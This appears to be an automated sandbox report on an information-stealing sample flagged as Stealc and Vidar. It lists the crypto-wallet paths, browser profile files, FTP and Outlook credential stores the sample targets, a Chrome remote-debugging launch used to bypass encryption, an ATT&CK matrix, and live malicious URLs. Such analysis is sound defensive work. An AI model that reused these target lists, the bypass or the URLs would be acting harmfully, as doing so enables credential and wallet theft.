Source: file.exe, 00000000.00000002.2722740091.0000000001875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2722740091.0000000001875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2722740091.0000000001875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2722740091.0000000001875000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2721107227.0000000000C6C000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6252, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2721107227.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2202530763.0000000005590000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2722740091.00000000017FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6252, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6252, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CCEC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		25_2_00CCEC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CCDF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		25_2_00CCDF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	1 Scheduled Task/Job	1 Extra Window Memory Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	112 Process Injection	4 Obfuscated Files or Information	Security Account Manager	257 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	761 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	251 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	251 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	112 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	47%	ReversingLabs	Win32.Trojan.Symmi
file.exe	54%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	34%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
18.31.95.13.in-addr.arpa	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://185.215.113.43/Zu7JuNko/index.phpL.M	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exepa	100%	Avira URL Cloud	phishing
http://185.215.113.16/steam/random.exe0p	100%	Avira URL Cloud	phishing
http://185.215.113.16/steam/random.exe06784001	100%	Avira URL Cloud	phishing
https://msn.comXIDv10K	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.php02	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/msvcp140.dllc	100%	Avira URL Cloud	malware
https://cook-rain.sbs:443/api	100%	Avira URL Cloud	malware
http://185.215.113.16/mine/random.exeK	100%	Avira URL Cloud	phishing
http://185.215.113.16/steam/random.exeXt	100%	Avira URL Cloud	phishing
https://cook-rain.sbs/6	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exe61391	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false		high
plus.l.google.com	142.250.181.238	true	false		high
play.google.com	172.217.18.14	true	false		high
cook-rain.sbs	188.114.96.3	true	false		high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false		high
sb.scorecardresearch.com	18.244.18.27	true	false		high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false		high
www.google.com	142.250.185.68	true	false		high
googlehosted.l.googleusercontent.com	142.250.185.65	true	false		high
sni1gl.wpc.nucdn.net	152.199.21.175	true	false		high
assets.msn.com	unknown	unknown	false		high
r.msftstatic.com	unknown	unknown	false		high
c.msn.com	unknown	unknown	false		high
ntp.msn.com	unknown	unknown	false		high
clients2.googleusercontent.com	unknown	unknown	false		high
bzib.nelreports.net	unknown	unknown	false		high
18.31.95.13.in-addr.arpa	unknown	unknown	false	0%, Virustotal, Browse	unknown
apis.google.com	unknown	unknown	false		high
api.msn.com	unknown	unknown	false		high
browser.events.data.msn.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
https://sb.scorecardresearch.com/b?rn=1731803929042&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=314D2D5C8D2F66E331EB38668C2767E8&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
185.215.113.206/c4becf79229cb002.php	false	high
https://play.google.com/log?format=json&hasfast=true	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2438598854.00000000018D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2524024057.0000000023C9A000.00000004.00000020.00020000.00000000.sdmp, GDGHIDBK.0.dr, Web Data.9.dr, BKFBAECB.0.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2438598854.00000000018D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2524024057.0000000023C9A000.00000004.00000020.00020000.00000000.sdmp, GDGHIDBK.0.dr, Web Data.9.dr, BKFBAECB.0.dr	false		high
http://www.broofa.com	chromecache_445.6.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	false		high
https://ntp.msn.com/0	000003.log4.9.dr	false		high
https://ntp.msn.com/_default	QuotaManager.9.dr	false		high
https://www.last.fm/	2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	false		high
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.9.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.9.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpL.M	skotes.exe, 00000019.00000002.3441963811.0000000001137000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://deff.nelreports.net/api/report	Reporting and NEL.10.dr	false		high
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	chromecache_447.6.dr	false		high
https://docs.google.com/	manifest.json.9.dr	false		high
https://www.youtube.com	2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	false		high
http://185.215.113.16/steam/random.exepa	skotes.exe, 00000019.00000002.3441963811.000000000117B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://deff.nelreports.net/api/report?cat=msnw	Reporting and NEL.10.dr	false		high
https://www.instagram.com	2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	false		high
https://drive.google.com/	manifest.json.9.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	false		high
https://msn.comXIDv10K	Cookies.10.dr	false	Avira URL Cloud: safe	unknown
https://www.messenger.com	2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://i.y.qq.com/n2/m/index.html	2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	false		high
https://www.deezer.com/	2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	false		high
https://web.telegram.org/	2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	false		high
http://185.215.113.16/steam/random.exe06784001	skotes.exe, 00000019.00000002.3441963811.000000000117B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json.9.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	JKJEHJKJEBGHJJKEBGIE.0.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json.9.dr	false		high
https://vibe.naver.com/today	2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2438598854.00000000018D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2524024057.0000000023C9A000.00000004.00000020.00020000.00000000.sdmp, GDGHIDBK.0.dr, Web Data.9.dr, BKFBAECB.0.dr	false		high
http://185.215.113.16/steam/random.exe0p	skotes.exe, 00000019.00000002.3441963811.000000000117B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.43/Zu7JuNko/index.php02	skotes.exe, 00000019.00000002.3441963811.0000000001137000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://assets.msn.com	8e54fdb0-1844-41c9-bf33-736d75fcc857.tmp.10.dr	false		high
